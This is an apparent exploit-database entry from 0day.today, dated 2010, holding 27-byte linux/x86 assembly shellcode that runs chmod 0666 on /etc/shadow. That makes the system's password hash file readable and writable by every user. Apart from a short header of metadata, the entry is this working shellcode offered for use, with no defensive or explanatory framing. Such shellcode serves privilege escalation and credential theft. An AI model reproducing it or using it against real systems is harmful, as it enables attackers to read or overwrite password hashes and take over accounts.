linux/x86 chmod 666 /etc/shadow 27 bytes

2010-01-16T00:00:00
ID 1337DAY-ID-10104
Type zdt
Reporter thegibson
Modified 2010-01-16T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            ========================================
linux/x86 chmod 666 /etc/shadow 27 bytes
========================================

; linux/x86 chmod 666 /etc/shadow 27 bytes
; [email protected]
; 2010-01-15
 
section .text
        global _start
 
_start:
        ; chmod("//etc/shadow", 0666);
        mov al, 15
        cdq
        push edx
        push dword 0x776f6461
        push dword 0x68732f63
        push dword 0x74652f2f
        mov ebx, esp
        mov cx, 0666o
        int 0x80



#  0day.today [2018-01-08]  #